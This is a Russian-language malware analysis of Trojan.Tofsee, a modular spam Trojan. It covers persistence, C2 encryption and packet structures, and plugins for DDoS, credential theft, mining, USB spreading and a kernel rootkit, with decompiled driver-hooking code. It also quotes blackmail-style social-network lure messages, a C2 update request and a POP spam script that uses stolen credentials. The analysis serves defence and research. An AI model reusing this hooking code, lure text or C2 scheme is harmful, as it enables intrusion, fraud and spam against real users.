Trojan.Tofsee, который действует как антивирус.

Специалисты по безопасности из компании «Доктор Веб» проанализировали троян под названием Trojan.Tofsee. Один из его модулей отвечает за удаление другого вредоносного ПО с зараженных компьютеров, напоминая тем самым работу антивируса. Иногда пользователи игнорируют необходимость защиты своих компьютеров с помощью антивирусного программного обеспечения, в результате их системы могут содержать вирусы. Можно сказать, что те люди, чьи ПК были заражены вредоносной программой Trojan.Tofsee более удачливы, чем остальные — помимо спама, троян способен вылечить систему от других угроз и кстати, делает он это на удивление эффективно. Trojan.Tofsee распространяется различными способами: через Skype, социальные сети и USB накопители. В первом случае, преступники используют самые популярные методы социальной инженерии, пытаясь убедить пользователей в том, что в интернете размещены компрометирующие их фотографии и видео. Хотя этот простой трюк используется лицами, занимающиеся распространением вирусов на протяжении многих лет, люди до сих пор «клюют» на такую наживку. Специальный модуль, который загружается с сервера злоумышленников, отвечает за распространение программы Trojan.Tofsee через Вконтакте, Facebook, Twitter, либо Skype. Сообщения передаваемое через модуль создаются по средствам шаблона, расположенного в конфигурационном файле, а затем отправляются пользователям социальных сетей на их родном языке. В тексте сообщения присутствует ссылка на страницу, на которой, якобы, находятся компрометирующие человека материалы. Но для того, чтобы можно было их просмотреть, пользователь должен загрузить плагин для браузера — в самом деле, это и есть Trojan.Tofsee. Чтобы отправлять спам-сообщения через Twitter или Facebook, вредоносный модуль использует данные, хранящиеся в файлах «cookie» веб-браузеров Microsoft Internet Explorer, Mozilla Firefox, Opera, Safari и Google Chrome. Для отправки сообщений через Skype, модуль активирует кнопки в окне приложения. Вредоносное ПО даже может обойти защиту КАПЧИ и других систем безопасности. Другой модуль облегчает распространение трояна с помощью портативных устройств хранения данных. В этом случае также как и в предыдущем, создатели вируса решили не изобретать колесо заново, а использовали достаточно часто используемое решение: программа заносит основной каталог Trojan.Tofsee в корзину и создает файл autorun.inf в корне устройства. В глазах антивируса такое решение не выглядит угрожающе. Еще один модуль отвечает за обновление ядра программы Trojan.Tofsee с сервера хакеров. Все параметры, необходимые для проведения этой процедуры хранятся в специальном конфигурационном файле. Если какого-либо из этих параметров не хватает, троян не обновляется, а только получает с сервера необходимые фотоатериалы. Самый необычным модуль, предназначен для поиска и удаления всех обнаруженных троянов и другого вредоносного ПО с зараженного компьютера. Он может сканировать файлы из указанного списка, записи в системном реестре Windows, работающие процессы и способен удалять обнаруженные вредоносные файлы. Даже если пользователь не использует антивирус , Trojan.Tofsee «позаботится» о безопасности системы. Основная цель трояна — это рассылка спама. Текст спам сообщения генерируется с помощью специальных шаблонов, которые троянец загружает с сервера злоумышленников. В главном модуле Trojan.Tofsee реализованы обычные сетевые процедуры и SMTP. После того как соединение с сервером будет установлено, ему передается ключи для дешифровки. Затем троянец отправляет данные на главный сервер, с которого получает дополнительные команды. Стоит отметить, что для создания спам-трояна использовался собственный скриптовый язык, что довольно редко в случае с вредоносными программами. В настоящее время Tofsee.Trojan может загрузить с удаленного сервера до 17 модулей, реализованных в виде DLL-библиотек. Помимо описанных выше функций, Trojan.Tofsee использует следующие модули: Модуль, используемый для проверки адреса удаленного хоста, загружается плагин в виде блока конфигурационных данных; Модуль для проведения DDoS-атак. Он обеспечивает выполнение двух типов атак: http флуд и syn flood; Зашифрованная плагин Trojan.PWS.Pony.5; Плагин, который создает логи данных, используемых в Internet Explorer. Этот плагин имеет собственный конфигурационный файл, извлекает из него библиотеку IEStub.dll и вводит ее в процесс браузера; Плагин Обработки графических файлов, которые потом используют другие плагины; Модуль получения адреса электронной почты из Internet Account Manager и PStoreCreateInstance, генерирующий адреса отправителей по формуле % NAMEPC% @mail.ru и пытающийся отправлять сообщения на значения из сгенерированного списка; Модуль добытчик Trojan.BtcMine.148, который используется для получения биткоинов. Плагин устанавливает в системе Trojan.BtcMine.148 и придает ему все необходимые рабочие параметры; Модуль, который устанавливает Trojan.Siggen.18257 в каталоге system32\drivers\ как файл со случайным именем и расширением .sys, после чего выполняет его; Модуль прокси HTTP и socks5; Модуль, создающий и отправляющий сообщения электронной почты; генерирует сообщения, опираясь на собственный скриптовый язык, и передает их по протоколу HTTPS; реализовано шифрование SSL с помощью Microsoft Unified Security Protocol Provider; Захват сетевого трафика на низком уровне и библиотека процедур, выполняющая задания с помощью специального драйвера. Ищет потоки данных передаваемых по FTP и SMTP протоколам и может изменять адрес и содержимое сообщений; Плагин, создающий и превращающий шаблоны конфигурации; Модуль, основанный на языке сценариев, участвует в создании спам-сообщений.
Многокомпонентный троянец с широким функционалом, предназначен для рассылки спама, способен выполнять множество других функций. После запуска сохраняет свою копию в папке:

%USER%\<rnd>.exe

Потом регистрирует ссылку на этот файл в ветви системного реестра, отвечающего за автозапуск приложений:

Software\Microsoft\Windows\CurrentVersion\Run MSConfig=%USER%\<rnd>.exe.

Затем троянец пытается встроиться в запущенный процесс svchost.exe.

После завершения установки Trojan.Tofsee соединяется с управляющим сервером и получает от него список узлов, откуда загружает свои дополнительные модули и шаблоны для спам-рассылки:

Основные функции для работы с сетью и протоколом SMTP реализованы в основном модуле Trojan.Tofsee. После успешного подключения к управляющему серверу тот отсылает троянцу ключи для расшифровки данных.

unsigned __int8 __cdecl decrypt_bin(BYTE *in, int size)
{
  unsigned __int8 r; // al@1
  BYTE *in_; // esi@1
  unsigned __int8 k; // dl@1
  r = size;
  in_ = in;
  for ( k = 0xC6u; in_ < &in[size]; k = r )
  {
    r = *in_ ^ 0xC6;
    *in_ = k ^ (0x20 * *in_ | (*in_ >> 3));
    ++in_;
  }
  return r;
}

Данные имеют следующую структуру:

#pragma pack(push, 1)
struct tmsg
{
  BYTE key[128];
  _DWORD d33; //1
  _DWORD d34; //1
  _DWORD d35; //0x19000
  _DWORD d36; //0
  _DWORD ip_addr;
  _DWORD srv_time;
  BYTE rnd[0x30];
};
#pragma pack(pop)

Затем троянец передает на командный сервер данные о себе, пакет имеет заголовок и блок данных:

#pragma pack(push, 1)
struct thead
{
  _DWORD size;
  _DWORD size_decompress;
  _DWORD crc32;
  _BYTE flag_compress; (2 - compress)
  DWORD op;
  DWORD d2;
  DWORD d3;
};
#pragma pack(pop)
#pragma pack(push, 1)
struct tbotinfo
{
  DWORD flags_upd; //0
  DWORD d1; //0
  _DWORD id;
  _DWORD f_45h; //0x45
  _DWORD dword10; //0
  _DWORD net_type; //0x1F
  _DWORD VM;
  _DWORD f_0Bh; //0xB
  _DWORD dword20; //0
  DWORD d10; //0
  _DWORD lid_file_upd; //0
  _DWORD tickcount;
  DWORD tickcount_delta;
  _DWORD born_date;
  _DWORD localip;
  DWORD host_bitflags; //0
  DWORD d9; //0
  _BYTE byte44;//0
  _BYTE os; //0x51
  BYTE unk[0x2E]; //00000...
};
#pragma pack(pop)

Данные и заголовок шифруются ключом, содержащимся в теле троянца, и ключом, принятым от сервера. Сервер передает троянцу задание, содержащее команды для последующего выполнения.

#pragma pack(push, 1)
struct theadplug
{
  DWORD op;
  BYTE name[0x10];
  DWORD crc32;
  DWORD size;
  DWORD d8;
  DWORD flag;
};
#pragma pack(pop)

В настоящий момент Trojan.Tofsee может загружать с удаленных серверов 17 подключаемых модулей, реализованных в виде динамических библиотек.
antibot.dll

Модуль, предназначенный для очистки инфицированного ПК от троянцев и других вредоносных программ (за исключением, разумеется, самого Trojan.Tofsee). Модуль реализует следующие функции:

    рекурсивный поиск файлов;
    рекурсивный поиск заданного значения по ветвям реестра;
    перечисление процессов;
    перечисление мьютексов;
    поиск заданного значения в ветви реестра Browser Helper Objects.

Trojan.Tofsee передает данному плагину конфигурационный файл, содержащий сведения о вредоносных программах, которые следует удалить.
blist.dll

Модуль для проверки правильности адресов удаленных узлов, передаваемых ему в виде блока конфигурационных данных. В исследованном образце имеются характерные строки:

services
period
blist_cfg
%u.%u.%u.%u.%s
localcfg
\log_%s.txt
c:\log_%s.txt
plg_blist
WSOCK32.dll
Sleep
InterlockedExchange
GetTickCount
CloseHandle
TerminateThread
lstrlenA
lstrcmpiA
CreateThread
GetEnvironmentVariableA
DeleteFileA
HeapAlloc
GetProcessHeap
HeapReAlloc
HeapFree
GetVolumeInformationA
GetSystemTimeAsFileTime
KERNEL32.dll
wsprintfA
USER32.dll
blist.dll
plg_init

ddosR.dll

Плагин для реализации DDoS-атак. Способен реализовывать два вида атак: http flood и syn flood. Syn-пакеты отправляются через специальный драйвер, к которому плагин подключается по символической ссылке:

\\.\PassThru
grabb

Зашифрованный Trojan.PWS.Pony.5.
webb.dll

Модуль для журналирования данных браузера Microsoft Internet Explorer. Извлекает из своего тела и встраивает в процесс браузера библиотеку IEStub.dll, управляется отдельным конфигурационным файлом, имеющим следующие параметры:

webb_cfg
version
stor_data.max_size
stor_data.max_live
doc_timeout

img.dll

Модуль для работы с графическими файлами, загружает изображения в специальные структуры для дальнейшей работы других плагинов. Характерные строки:

%s.%s
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Plugin restarted
img_callback: Loaded value='%s' base64 size=%d macr id=%d
img_callback: base64_encode error for block name='%s'
img_callback: Delete value='%s' macr id=%d
img_callback: required config version=1
img_callback: Wrong value of param '%s.name'
prefix
name
macroses
version
img_cfg
img_handler: Can't replace value size=%d.

Buffer size=%d very small
\log_%s.txt
c:\log_%s.txt
plg_img
lstrcmpiA
lstrlenA
Sleep
InterlockedExchange
GetTickCount
lstrcmpA
GetEnvironmentVariableA
DeleteFileA
HeapAlloc
GetProcessHeap
HeapReAlloc
HeapFree
GetVolumeInformationA
GetSystemTimeAsFileTime
KERNEL32.dll
wsprintfA
USER32.dll
img.dll
plg_init

locsR.dll

Модуль извлекает почтовые адреса из Internet Account Manager и PStoreCreateInstance, формирует адрес отправителя в виде %NAMEPC%@mail.ru и пытается отправить сообщения по созданному списку.
miner.dll

Плагин загружает предназначенного для добычи криптовалюты Bitcoin троянца Trojan.BtcMine.148, устанавливает его и передает необходимые параметры при запуске.
protect.dll

Модуль устанавливает в папку system32\drivers\ вредоносную программу Trojan.Siggen.18257 в виде файла со случайным именем и расширением .sys, после чего запускает его. Этот вредоносный драйвер перечисляет следующие элементы:

NTSTATUS set_FileSystem()
{
  NTSTATUS r; // eax@1
  char v1; // [sp+4h] [bp-35Ch]@3
  UNICODE_STRING Buffer; // [sp+20Ch] [bp-154h]@2
  WCHAR SourceString; // [sp+310h] [bp-50h]@1
  UNICODE_STRING DestinationString; // [sp+328h] [bp-38h]@1
  OBJECT_ATTRIBUTES ObjectAttributes; // [sp+330h] [bp-30h]@1
  ULONG Context; // [sp+348h] [bp-18h]@2
  ULONG ReturnLength; // [sp+34Ch] [bp-14h]@2
  NTSTATUS v8; // [sp+350h] [bp-10h]@1
  UNICODE_STRING Destination; // [sp+354h] [bp-Ch]@3
  HANDLE DirectoryHandle; // [sp+35Ch] [bp-4h]@1
  decrypt((int)&SourceString, (int)&FileSystem, 12);
  RtlInitUnicodeString(&DestinationString, &SourceString);
  ObjectAttributes.ObjectName = &DestinationString;
  ObjectAttributes.Length = 24;
  ObjectAttributes.RootDirectory = 0;
  ObjectAttributes.Attributes = 64;
  ObjectAttributes.SecurityDescriptor = 0;
  ObjectAttributes.SecurityQualityOfService = 0;
  r = ZwOpenDirectoryObject(&DirectoryHandle, 1u, &ObjectAttributes);
  v8 = r;
  if ( r >= 0 )
  {
    if ( !ZwQueryDirectoryObject(DirectoryHandle, &Buffer, 0x104u, 1u, 1u, &Context, &ReturnLength) )
    {
      do
      {
        Destination.Buffer = (PWSTR)&v1;
        Destination.Length = 0;
        Destination.MaximumLength = 520;
        RtlAppendUnicodeToString(&Destination, &SourceString);
        RtlAppendUnicodeToString(&Destination, &Source);
        RtlAppendUnicodeStringToString(&Destination, &Buffer);
        set_pdo_hook0(&Destination);
      }
      while ( !ZwQueryDirectoryObject(DirectoryHandle, &Buffer, 0x104u, 1u, 0, &Context, &ReturnLength) );
    }
    memset(&SourceString, 0, 0x18u);
    ZwClose(DirectoryHandle);
    r = v8;
  }
  return r;
}

И на каждый полученный объект устанавливает собственный обработчик:

int __stdcall set_pdo_hook0(PUNICODE_STRING file)
{
  int v1; // edi@1
  v1 = ObReferenceObjectByName(file, 64, 0, 0x80000000, IoDriverObjectType, 0, 0, &file);
  if ( v1 >= 0 )
  {
    set_pdo_hook((PDRIVER_OBJECT)file);
    ObfDereferenceObject(file);
  }
  return v1;
}
NTSTATUS __stdcall set_pdo_hook(PDRIVER_OBJECT pdo)
{
  NTSTATUS r; // eax@1
  struct_5 *v2; // eax@4
  struct_5 *v3; // ebx@4
  NTSTATUS v4; // [sp+4h] [bp-8h]@1
  struct_4 *v5; // [sp+8h] [bp-4h]@1
  r = search_pdo(pdo, &v5);
  v4 = r;
  if ( r >= 0 )
  {
    if ( v5 )
    {
      r = 0;
    }
    else
    {
      v2 = (struct_5 *)ExAllocatePoolWithTag(0, 0xECu, 0x72746B4Du);
      v3 = v2;
      if ( v2 )
      {
        memset(v2, 0, 0xECu);
        v3->pdo = pdo;
        memcpy(v3->func1, pdo->MajorFunction, sizeof(v3->func1));
        memcpy(v3->func2, pdo->MajorFunction, sizeof(v3->func2));
        v3->func2[0] = (DWORD)MajorFunction0;
        swap_pdo_func(pdo, v3->func2);
        sub_80481776(v3);
        r = v4;
      }
      else
      {
        r = -1073741670;
      }
    }
  }
  return r;
}

Обработчик скрывает элементы с именем System.
proxyR.dll

Модуль, реализующий функции http- и socks5-прокси. Прокси-серверу передается конфигурационный файл:
smtp.dll

Модуль предназначен для формирования и рассылки почтовых сообщений. Использует встроенный скриптовый язык для формирования сообщений и рассылает их по протоколу HTTPS. SSL-шифрование реализовано посредством Microsoft Unified Security Protocol Provider.
snrpR.dll

Библиотека для перехвата и анализа трафика на низком уровне, использует для этого специальный драйвер. Ищет в потоке данных информацию, передаваемую по протоколам FTP и SMTP, может подменять адреса и тело сообщений.
spread1.dll

Плагин используется для новых заражений. Умеет отправлять сообщения в Skype, а также через социальные сети Twitter, Facebook, «ВКонтакте». Отправляемые сообщения строятся по шаблону, который передается в конфигурационном файле. Шаблон имеет следующий вид:

vk.message1 %SPRD_TEXT1|%LANG_ID| %SPRD_URL3

Сообщения пользователям социальных сетей отправляются с учетом используемого ими национального языка. Например, русскоязычным пользователям рассылаются следующие сообщения:

Хай. Зацени свои интимные фотки :)
Привет! Офигеть... Неуж-то это ты?!
Привет друг) Попалился ты однако конекретно. Это ж ты?
Офигеть! Это ты? Это конкретное палево ч?
Ты идиот? Зачем таки? фотки выкладывать в сеть??
Спецом выложили эту фотку, где ты выглядишь как шлюха?))
Жесть!! Как можно было так спалиться?!
Твои родители уже видели?
5ли эту твою фото с вечеринки? ггг)
Вот это да! Ты прикалываешься? Такое фото выложить...)

В тексте сообщения приводится ссылка на страницу, где потенциальная жертва якобы может ознакомиться с компрометирующими ее видеозаписями или фотографиями. Однако для просмотра этого контента пользователю предлагается загрузить плагин для браузера, под видом которого распространяется Trojan.Tofsee.

Для отправки сообщений на сайты Twitter, Facebook и «ВКонтакте» модуль использует данные сессии из cookies браузеров Microsoft Internet Explorer, Mozilla Firefox, Opera, Safari, Google Chrome. В программу Skype сообщения отсылаются с помощью нажатия кнопок в окне самого приложения. Модуль также умеет распознавать защиту captcha на сайте социальной сети Facebook — для этого она отправляется на сервер, где распознается, после чего троянец получает текст для ввода с соответствующую экранную форму.
spread2.dll

Плагин для заражения съемных flash-накопителей: сохраняет Trojan.Tofsee в Корзине, в корневой папке съемного накопителя создает файл autorun.inf. Заражение выполняется по команде с управляющего сервера.
sys.dll

Модуль для обновления ядра Trojan.Tofsee. Выполняет запросы в соответствии с заданными в конфигурационном файле параметрами:

POST /tsone/ajuno.php HTTP/1.1
Host: 111.121.*.*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://111.121.*.*/tsone/ajuno.php
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
u=name03&p=3sRd6Nf8H&l=11

Если в качестве входного параметра не указано значение «l», с управляющего сервера загружается  графический файл компрометирующего характера.

Для Windows с версией ядра 5.1 и 5.2 получает адрес PsInitialSystemProcess и читает адрес ядра следующим образом:

NTSTATUS __stdcall SysDbgCopyMemoryChunks_0(BYTE *va, BYTE *buf, int size)
{
  struct_1 InputBuffer; // [sp+0h] [bp-Ch]@1
  InputBuffer.va = va;
  InputBuffer.buf = buf;
  InputBuffer.size = size;
  return ZwSystemDebugControl((DEBUG_CONTROL_CODE)8, &InputBuffer, 0xCu, 0, 0, 0);// SysDbgCopyMemoryChunks_0
}

Таким образом модуль получает указатель на EPROCCESS.
text.dll

Плагин обрабатывает конфигурационные шаблоны и соответствующим образом формирует их в памяти.webmR.dll

В данном модуле реализован скриптовый язык для создания рассылаемых троянцем писем. Пример скрипта:

C pop.mail.yahoo.com:995
X
R
S ya_pop_01.txt
o ^+OK
W """USER __S(ACC)__\r\n"""
R
S ya_pop_02.txt
o ^+OK
W """PASS __S(PASSWD)__\r\n"""
R
S ya_pop_03.txt
I L_END2_YA """pop not allowed"""
I L_END2_YA """invalid user/password"""
I L_END2_YA """mailbox could not be opened"""
o ^+OK
i L_END_YA """has """
i L_END_YA """ messages"""
p NUM """has """ """ messages"""
+ '__v(NUM)__'
v CNT 1
L L_LOOP_EMAILS_YA
v COMP __A(1|__v(CNT)__,>,__v(NUM)__)__
u L_END_YA 1 __v(COMP)__
v COMP __A(1|__v(CNT)__,>,50)__
u L_END_YA 1 __v(COMP)__
W """TOP __v(CNT)__ 12\r\n"""
R
S ya_pop_msg__v(CNT)__a.txt
o ^+OK
I L_RECEIVED_YA """From:"""
p SIZE """+OK """ """ byte(s)"""
R __v(SIZE)__
S ya_pop_msg__v(CNT)__b.txt
o From:
L L_RECEIVED_YA
i L_SKIP_EMAIL_YA """This is an automatically generated Delivery Status Notification."""
+ h
p OTLUP """This is an automatically generated Delivery Status Notification."""
h __v(OTLUP)__
W """DELE __v(CNT)__\r\n"""
R
S ya_pop_msg__v(CNT)__c.txt
o ^+OK
L L_SKIP_EMAIL_YA
v CNT __A(1|__v(CNT)__,+,1)__
J L_LOOP_EMAILS_YA
L L_END_YA
W """QUIT\r\n"""
R
S ya_pop_04.txt
o ^+OK
L L_END2_YA
E 1